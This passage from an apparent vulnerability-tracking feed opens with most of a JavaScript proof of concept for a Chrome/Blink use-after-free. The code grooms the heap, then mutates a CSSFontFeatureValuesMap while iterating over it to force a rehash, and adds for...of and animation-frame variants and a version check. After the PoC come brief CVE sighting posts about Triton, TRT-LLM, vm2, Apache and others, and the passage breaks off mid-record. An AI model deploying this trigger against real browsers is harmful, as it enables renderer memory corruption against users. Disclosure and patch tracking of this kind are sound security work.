\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst sheet = document.getElementById(\"target-style\").sheet;\nif (!sheet || sheet.cssRules.length === 0) {\n  print(\"[!] ERROR: @font-feature-values rule not found.\", \"fail\");\n  throw new Error(\"CSS rule not found\");\n}\n\nconst rule = sheet.cssRules[0];\nprint(\"[+] CSSFontFeatureValuesRule found: \" + rule.fontFamily, \"ok\");\n\n// CSSFontFeatureValuesMap object\n// In Blink, this object is a CSSOM wrapper around the FontFeatureAliases HashMap.\nconst map = rule.styleset;\nif (!map) {\n  print(\"[!] ERROR: rule.styleset is not accessible. Browser may not support this API.\", \"fail\");\n  throw new Error(\"styleset not available\");\n}\nprint(\"[+] CSSFontFeatureValuesMap obtained. Size: \" + map.size, \"ok\");\nprint(\"\");\n\n// \u2500\u2500\u2500 2. Heap Grooming \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Goal: Bring the heap into a predictable state.\n// By creating multiple @font-feature-values rules, we allocate same-sized\n// FontFeatureAliases objects. This facilitates memory reclaim after the UAF.\nprint(\"[*] Starting heap grooming...\", \"info\");\n\nconst groomRules = [];\nconst groomStyle = document.createElement(\"style\");\ndocument.head.appendChild(groomStyle);\n\nfor (let i = 0; i < 50; i++) {\n  groomStyle.sheet.insertRule(\n    `@font-feature-values GroomFont${i} { @styleset { g${i}: ${i}; } }`,\n    groomStyle.sheet.cssRules.length\n  );\n  groomRules.push(groomStyle.sheet.cssRules[groomStyle.sheet.cssRules.length - 1]);\n}\nprint(\"[+] \" + groomRules.length + \" groom objects created.\", \"ok\");\n\n// \u2500\u2500\u2500 3. UAF Trigger \u2014 Iterator Invalidation \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n//\n// Vulnerability mechanism (unpatched Blink):\n//\n//   When CreateIterationSource() is called:\n//     FontFeatureValuesMapIterationSource(map, aliases_)\n//     \u2192 aliases_ (raw pointer) points to the internal HashMap\n//     \u2192 iterator_ = aliases_->begin()\n//\n//   When FetchNextItem() is called:\n//     \u2192 iterator_->key is read\n//\n//   If map.delete() or map.set() is called in between:\n//     \u2192 HashMap rehashes (new allocation, old storage freed)\n//     \u2192 aliases_ now points to freed memory (dangling pointer)\n//     \u2192 iterator_ is also invalidated\n//     \u2192 Next FetchNextItem() \u2192 USE-AFTER-FREE \u2192 CRASH\n//\nprint(\"[*] Starting UAF trigger...\", \"info\");\nprint(\"[*] Strategy: iterator.next() + map.delete() + map.set() x N (force rehash)\", \"info\");\nprint(\"\");\n\nlet crashDetected = false;\nlet iterationCount = 0;\n\ntry {\n  // Create iterator \u2014 at this point Blink creates an IterationSource with a raw pointer\n  const iterator = map.entries();\n\n  let step = 0;\n  while (step < 20) {\n    // iterator.next() \u2192 FetchNextItem() call\n    // Unpatched Blink: reads through dangling pointer\n    const result = iterator.next();\n    \n    if (result.done) {\n      print(\"    [.] Iterator exhausted (step=\" + step + \")\", \"warn\");\n      break;\n    }\n\n    const [key, value] = result.value;\n    iterationCount++;\n    print(\"    [>] Entry: \" + key + \" = \" + JSON.stringify(value) + \" (step=\" + step + \")\", \"ok\");\n\n    // \u2500\u2500 MUTATION: Modify the HashMap \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    // This triggers a HashMap rehash.\n    // In unpatched Blink, the aliases_ pointer becomes dangling after this.\n    \n    // Delete the current key\n    map.delete(key);\n\n    // Add many new keys \u2192 force rehash\n    // WTF::HashMap default load factor ~0.75; 512+ entries will definitely trigger rehash\n    // Each set() call potentially reallocates internal storage\n    for (let i = 0; i < 512; i++) {\n      map.set(\"spray_\" + step + \"_\" + i, [i, i + 1, i + 2]);\n    }\n\n    // Also modify groom objects \u2014 fill the freed memory\n    for (let g = 0; g < groomRules.length; g++) {\n      try {\n        groomRules[g].styleset.set(\"reclaim_\" + step + \"_\" + g, [step]);\n      } catch(e) {}\n    }\n\n    step++;\n  }\n\n  print(\"\");\n  print(\"[+] Iteration completed (\" + iterationCount + \" entries processed).\", \"ok\");\n\n} catch (e) {\n  crashDetected = true;\n  print(\"[!] EXCEPTION caught: \" + e.message, \"fail\");\n  print(\"[!] This may be the UAF manifesting at the JavaScript layer.\", \"fail\");\n}\n\n// \u2500\u2500\u2500 4. Results \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\");\nprint(\"\u2500\".repeat(60), \"info\");\nprint(\"[*] RESULTS:\", \"info\");\n\nconst ua = navigator.userAgent;\nconst chromeMatch = ua.match(/Chrome\\/([\\d.]+)/);\nconst chromeVersion = chromeMatch ? chromeMatch[1] : \"unknown\";\nprint(\"[*] Chrome version: \" + chromeVersion, \"info\");\n\n// Version comparison\n// Dev/Canary builds have build number 0: 145.0.0.0\n// In that case major.minor is not enough, full build number is required.\nfunction parseVersion(v) {\n  const parts = v.split(\".\").map(Number);\n  return {\n    major: parts[0] || 0,\n    minor: parts[1] || 0,\n    build: parts[2] || 0,\n    patch: parts[3] || 0,\n    isDevBuild: (parts[2] === 0 && parts[3] === 0)\n  };\n}\n\nfunction isVulnerable(vStr) {\n  const v = parseVersion(vStr);\n  // Dev/Canary build (x.x.0.0): receives upstream fix early, considered safe\n  if (v.isDevBuild) return false;\n  // major < 145 \u2192 definitely vulnerable\n  if (v.major < 145) return true;\n  // major > 145 \u2192 patched\n  if (v.major > 145) return false;\n  // major === 145: check build number\n  if (v.build < 7632) return true;\n  if (v.build > 7632) return false;\n  // build === 7632: check patch\n  return v.patch < 75;\n}\n\nif (chromeMatch) {\n  const v = parseVersion(chromeVersion);\n  if (v.isDevBuild) {\n    print(\"[?] Dev/Canary build detected (\" + chromeVersion + \").\", \"warn\");\n    print(\"[?] Dev builds receive upstream fixes early \u2014 likely PATCHED.\", \"warn\");\n    print(\"[?] Use stable/beta channel (<= 144.0.x) for accurate testing.\", \"warn\");\n  } else if (isVulnerable(chromeVersion)) {\n    print(\"[!] THIS VERSION IS VULNERABLE! (\" + chromeVersion + \" < 145.0.7632.75)\", \"fail\");\n    print(\"[!] Renderer crash expected \u2014 if no crash occurred, sandbox or other\", \"fail\");\n    print(\"[!] mitigations may have altered the trigger conditions.\", \"fail\");\n  } else {\n    print(\"[+] This version is patched. (\" + chromeVersion + \" >= 145.0.7632.75)\", \"ok\");\n    print(\"[+] No crash expected \u2014 the fix prevents iterator invalidation.\", \"ok\");\n  }\n} else {\n  print(\"[?] Chrome version could not be detected.\", \"warn\");\n}\n\nif (crashDetected) {\n  print(\"[!] Exception detected \u2014 UAF was partially triggered.\", \"fail\");\n} else {\n  print(\"[+] No exception \u2014 either patched version, or the crash killed the renderer\", \"ok\");\n  print(\"    (if the renderer crashed, this line would never execute).\", \"ok\");\n}\n\nprint(\"\");\nprint(\"[*] Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c\", \"info\");\nprint(\"[*] Diff:   css_font_feature_values_map.cc\", \"info\");\nprint(\"[*] Fix:    const FontFeatureAliases* \u2192 const FontFeatureAliases (deep copy)\", \"info\");\nprint(\"\u2500\".repeat(60), \"info\");\n\n// \u2500\u2500\u2500 5. Alternative trigger via for...of \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Some Blink versions use a different code path for for...of iteration.\nprint(\"\");\nprint(\"[*] Alternative trigger: for...of + concurrent mutation...\", \"info\");\n\ntry {\n  // Retry with a fresh map\n  const style2 = document.createElement(\"style\");\n  document.head.appendChild(style2);\n  style2.sheet.insertRule(\n    `@font-feature-values AltFont {\n      @styleset { x1: 10; x2: 20; x3: 30; x4: 40; x5: 50; }\n    }`, 0\n  );\n  const rule2 = style2.sheet.cssRules[0];\n  const map2 = rule2.styleset;\n\n  let altCount = 0;\n  for (const [k, v] of map2) {\n    altCount++;\n    // Mutation during iteration\n    map2.delete(k);\n    for (let i = 0; i < 512; i++) {\n      map2.set(\"alt_\" + altCount + \"_\" + i, [i, i]);\n    }\n    if (altCount >= 5) break;\n  }\n  print(\"[+] for...of completed (\" + altCount + \" iterations).\", \"ok\");\n} catch(e) {\n  print(\"[!] for...of exception: \" + e.message, \"fail\");\n}\n\n// \u2500\u2500\u2500 6. Async trigger via requestAnimationFrame \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Forces layout recalculation via offsetWidth inside a rAF loop,\n// re-triggering the CSS engine.\nprint(\"\");\nprint(\"[*] Starting rAF + layout recalc trigger...\", \"info\");\n\nconst style3 = document.createElement(\"style\");\ndocument.head.appendChild(style3);\nstyle3.sheet.insertRule(\n  `@font-feature-values RafFont {\n    @styleset { r1: 1; r2: 2; r3: 3; r4: 4; r5: 5; }\n  }`, 0\n);\nconst rule3 = style3.sheet.cssRules[0];\nconst map3 = rule3.styleset;\n\nlet rafCount = 0;\nlet rafIterator = map3.entries();\n\nfunction rafTrigger() {\n  if (rafCount >= 10) {\n    print(\"[+] rAF trigger completed (\" + rafCount + \" frames).\", \"ok\");\n    print(\"\");\n    print(\"[*] PoC finished. See results above.\", \"info\");\n    print(\"\");\n    print(\"[*] SUMMARY:\", \"info\");\n    print(\"[*]   Vulnerable : Chrome <= 144.x (stable) or < 145.0.7632.75\", \"info\");\n    print(\"[*]   Patched    : Chrome >= 145.0.7632.75 (stable)\", \"info\");\n    print(\"[*]   Dev build  : e.g. 145.0.0.0 \u2014 receives upstream fix early\", \"info\");\n    print(\"[*]   No crash   : Version is patched OR renderer silently crashed\", \"info\");\n    print(\"[*]   Crash      : UAF successfully triggered\", \"info\");\n    return;\n  }\n\n  // Force layout recalc \u2014 re-trigger CSS engine\n  void document.body.offsetWidth;\n\n  // Iterator step\n  const result = rafIterator.next();\n  if (!result.done) {\n    const [k] = result.value;\n    map3.delete(k);\n    for (let i = 0; i < 512; i++) {\n      map3.set(\"raf_\" + rafCount + \"_\" + i, [rafCount, i]);\n    }\n  }\n\n  rafCount++;\n  requestAnimationFrame(rafTrigger);\n}\n\nrequestAnimationFrame(rafTrigger);\n\n\n", "creation_timestamp": "2026-05-12T12:28:42.000000Z"}, {"uuid": "8d2161d7-4c1c-41b9-881f-0a530302ef2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2465", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mlnxuekr7r2y", "content": "Turboard FOR-S\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u6a29\u9650\u6607\u683c\u306e\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-2465 CVSS 8.8 | HIGH", "creation_timestamp": "2026-05-12T14:12:40.011183Z"}, {"uuid": "84776f57-1c5f-427d-959b-925df173b692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24120", "type": "seen", "source": "https://t.me/bdufstecru/3152", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 resetPromiseSpecies() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 vm2 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0430 NPM \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u043a\u043e\u0434\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b\n\nBDU:2026-06464\nCVE-2026-24120\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://github.com/patriksimek/vm2/releases/tag/v3.10.5", "creation_timestamp": "2026-05-12T14:15:48.000000Z"}, {"uuid": "c3423036-ec24-4104-a124-46d6090c6a1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/20100033-b137-47a0-b98c-568c18deda5a", "content": "", "creation_timestamp": "2026-05-12T16:46:39.326362Z"}, {"uuid": "37f99bb5-618b-4470-ac79-db8f871c25a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24662", "type": "seen", "source": "https://jvn.jp/en/jp/JVN69128376", "content": "", "creation_timestamp": "2026-05-14T20:00:00.000000Z"}, {"uuid": "446a4c03-4518-4e29-80dd-5c005c298040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24662", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlusjavsrk2i", "content": "CVE-2026-24662 - Musetheque V4 Cross-Site Scripting (XSS)\nCVE ID : CVE-2026-24662\n \n Published : May 15, 2026, 5:38 a.m. | 27\u00a0minutes ago\n \n Description : Cross-site scripting vulnerability exists in Musetheque V4 Information Disclosure for IPKNOWLEDGE V4L1 rev2203.0 and earli...", "creation_timestamp": "2026-05-15T07:25:36.480891Z"}, {"uuid": "cf39eb49-7b6d-4e82-95e7-7795907cfb5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mlxp2lvlzc2b", "content": "\u3010\u8106\u5f31\u6027\u60c5\u5831\u3011 CVE-2026-24072 Apache\u00a0HTTP\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\n\nApache HTTP 2.4.66\u4ee5\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u304a\u3044\u3066\u3001\u3055\u307e\u3056\u307e\u306a\u30e2\u30b8\u30e5\u30fc\u30eb\u306b\u5b58\u5728\u3059\u308b\u7279\u6a29\u6607\u683c\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u30ed\u30fc\u30ab\u30eb\u306e.htaccess\u4f5c\u6210\u8005\u304chttpd\u30e6\u30fc\u30b6\u30fc\u306e\u6a29\u9650\u3067\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059\u3002", "creation_timestamp": "2026-05-16T11:02:05.300146Z"}, {"uuid": "5f4e8dd3-cbca-4960-af09-bd225cf3edd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24401", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mm53m7deij32", "content": "Ubuntu 26.04 LTS Avahi Critical DoS Fix USN-8269-1 CVE-2026-24401 Several security issues were fixed in Avahi.\n\n#Ubuntu #Linux #Distribution #- #Security #Advisories\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-18T14:29:40.761153Z"}, {"uuid": "44e2b14e-9858-4392-9122-56abd92c8fc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://infosec.exchange/users/0patch/statuses/116601532783321868", "content": "Micropatches released  for Windows Accessibility Infrastructure Elevation of Privilege  Vulnerability (CVE-2026-24291, CVE-2026-25186, CVE-2026-25187) https://blog.0patch.com/2026/05/micropatches-released-for-windows.html", "creation_timestamp": "2026-05-19T13:43:15.281244Z"}, {"uuid": "81cd9175-b7c7-48d9-845a-5ac991c97690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mma33thltp25", "content": "Micropatches released for Windows Accessibility Infrastructure Elevation of Privilege Vulnerability (CVE-2026-24291, CVE-2026-25186, CVE-2026-25187)", "creation_timestamp": "2026-05-19T18:58:29.146853Z"}, {"uuid": "3ecb26dc-5f84-4c74-a33f-2d5bf2f444f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24207", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116605021498153603", "content": "\ud83d\udea8 CVE-2026-24207: CRITICAL auth bypass in NVIDIA Triton Inference Server < r26.03 (CVSS 9.8). No patch yet \u2014 monitor NVIDIA advisories for updates. Review deployments now. https://radar.offseq.com/threat/cve-2026-24207-cwe-288-authentication-bypass-using-cb20b384 #OffSeq #NVIDIA #Vulnerability #CVE202624207", "creation_timestamp": "2026-05-20T04:30:27.603599Z"}, {"uuid": "6f6dafd0-3416-470b-aeb1-da982004e83a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24207", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mmb32poptr2j", "content": "NVIDIA Triton Inference Server < r26.03 hit by CRITICAL auth bypass (CVSS 9.8). No patch yet \u2014 monitor for vendor updates and assess exposure! https://radar.offseq.com/threat/cve-2026-24207-cwe-288-authentication-bypass-using-cb20b384 #OffSeq #NVIDIA #Vulnerability", "creation_timestamp": "2026-05-20T04:30:29.665281Z"}, {"uuid": "3e753c06-abae-45cc-b98d-2a6fcafc93bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24207", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmb426zdyi2o", "content": "CVE-2026-24207 - NVIDIA Triton Inference Server Authentication Bypass\nCVE ID : CVE-2026-24207\n \n Published : May 20, 2026, 2:42 a.m. | 1\u00a0hour, 39\u00a0minutes ago\n \n Description : NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause an authenticatio...", "creation_timestamp": "2026-05-20T04:48:07.445588Z"}, {"uuid": "77e265fb-38d4-4481-95a7-17e6edeaf889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24214", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmb4aw6ccr2c", "content": "CVE-2026-24214 - NVIDIA Triton Inference Server DALI Integer Overflow Vulnerability\nCVE ID : CVE-2026-24214\n \n Published : May 20, 2026, 2:52 a.m. | 1\u00a0hour, 29\u00a0minutes ago\n \n Description : NVIDIA Triton Inference Server contains a vulnerability in the DALI backend where an att...", "creation_timestamp": "2026-05-20T04:51:51.143700Z"}, {"uuid": "4627389e-a640-407f-b3a7-23e393dc56db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24213", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmb52im2xs2i", "content": "CVE-2026-24213 - NVIDIA Triton Inference Server Out-of-Bounds Read Vulnerability\nCVE ID : CVE-2026-24213\n \n Published : May 20, 2026, 2:50 a.m. | 1\u00a0hour, 31\u00a0minutes ago\n \n Description : NVIDIA Triton Inference Server contains a vulnerability in the DALI backend where an attack...", "creation_timestamp": "2026-05-20T05:06:09.193727Z"}, {"uuid": "a296d409-a608-40ba-bf44-addc9d28d9eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24206", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmbbn5bfgr2k", "content": "CVE-2026-24206 - NVIDIA Triton Inference Server Authentication Bypass Vulnerability\nCVE ID : CVE-2026-24206\n \n Published : May 20, 2026, 4:16 a.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause an...", "creation_timestamp": "2026-05-20T06:28:09.827780Z"}, {"uuid": "3f86414c-fdf8-4155-a7d2-408f68a6a473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24210", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmbbqivizs2h", "content": "CVE-2026-24210 - NVIDIA Triton Inference Server Integer Overflow Denial of Service\nCVE ID : CVE-2026-24210\n \n Published : May 20, 2026, 4:16 a.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause an ...", "creation_timestamp": "2026-05-20T06:30:06.611286Z"}, {"uuid": "de5bdde1-fe19-4769-9c19-ef3d699269c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24208", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmbbxzouak2i", "content": "CVE-2026-24208 - NVIDIA Triton Inference Server Path Traversal Denial of Service\nCVE ID : CVE-2026-24208\n \n Published : May 20, 2026, 4:16 a.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause a pat...", "creation_timestamp": "2026-05-20T06:34:15.300270Z"}, {"uuid": "8fd78fe2-3baf-45b6-93a2-997c712992da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24142", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmbcanihq52e", "content": "CVE-2026-24142 - NVIDIA TRT-LLM Deserialization RCE and Tampering Vulnerability\nCVE ID : CVE-2026-24142\n \n Published : May 20, 2026, 4:16 a.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : NVIDIA TRT-LLM for any platform contains a deserialization vulnerability and unsafe serializ...", "creation_timestamp": "2026-05-20T06:39:06.620493Z"}, {"uuid": "3bc58f4a-a68b-41f8-97e9-c92f65b54c16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24160", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmbcfljmel2h", "content": "CVE-2026-24160 - NVIDIA TRT-LLM Null Pointer Dereference Denial of Service\nCVE ID : CVE-2026-24160\n \n Published : May 20, 2026, 4:16 a.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : NVIDIA TRT-LLM for any platform contains a vulnerability where an attacker could cause an uncheck...", "creation_timestamp": "2026-05-20T06:41:50.112678Z"}, {"uuid": "e456d868-0370-46d9-b530-f03ec69ee492", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24163", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmbcxoa22y2i", "content": "CVE-2026-24163 - NVIDIA TRT-LLM RPC Deserialization Vulnerability\nCVE ID : CVE-2026-24163\n \n Published : May 20, 2026, 4:16 a.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : NVIDIA TRT-LLM for any platform contains a vulnerability in RPC testing, where an attacker could cause an ...", "creation_timestamp": "2026-05-20T06:51:57.028618Z"}, {"uuid": "e46cf017-bc91-456e-a6ff-6a342ade16e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24215", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmbdran45s2k", "content": "CVE-2026-24215 - NVIDIA Triton Inference Server Resource Consumption Denial of Service\nCVE ID : CVE-2026-24215\n \n Published : May 20, 2026, 4:16 a.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : NVIDIA Triton Inference Server contains a vulnerability in the DALI backend, where an...", "creation_timestamp": "2026-05-20T07:06:15.339664Z"}, {"uuid": "b8baf118-98df-4c13-9632-36465d92e704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24209", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmbe272t6k2r", "content": "CVE-2026-24209 - NVIDIA Triton Inference Server Path Traversal Denial of Service Vulnerability\nCVE ID : CVE-2026-24209\n \n Published : May 20, 2026, 4:16 a.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : NVIDIA Triton Inference Server contains a vulnerability where an attacker cou...", "creation_timestamp": "2026-05-20T07:11:15.459347Z"}, {"uuid": "bac19b66-2767-447f-9296-662f06bde1ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24425", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmbp6dmkls26", "content": "\ud83d\udd10 CVE-2026-24425: Possible sandbox bypass when using a source policy\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-24425-possible-sandbox-bypass-when-using-a-source-policy", "creation_timestamp": "2026-05-20T10:30:25.630460Z"}, {"uuid": "473e49b5-e6b7-4b64-856a-5fc168ef18e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24734", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmc3hklk2m2e", "content": "\ud83d\udd17 CVE : CVE-2026-22029, CVE-2026-22732, CVE-2026-24734, CVE-2026-24880, CVE-2026-25639, CVE-2026-26960, CVE-2026-29062, CVE-2026-29129, CVE-2026-29145, CVE-2026-29146, CVE-2026-29786, CVE-2026-31802, CVE-2026-33750, 